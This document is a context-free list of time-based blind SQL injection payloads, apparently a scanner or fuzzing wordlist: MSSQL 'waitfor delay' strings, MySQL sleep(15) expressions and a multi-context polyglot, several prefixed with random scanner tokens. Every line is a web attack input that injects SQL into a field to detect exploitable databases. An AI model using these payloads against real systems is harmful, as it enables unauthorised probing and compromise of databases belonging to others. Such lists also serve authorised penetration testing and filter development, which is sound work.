1

-1; waitfor delay '0:0:15' --

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

-1); waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

6bikccuI'; waitfor delay '0:0:15' --

klk1zTiR'; waitfor delay '0:0:15' --

Kx0ZUSTh'); waitfor delay '0:0:15' --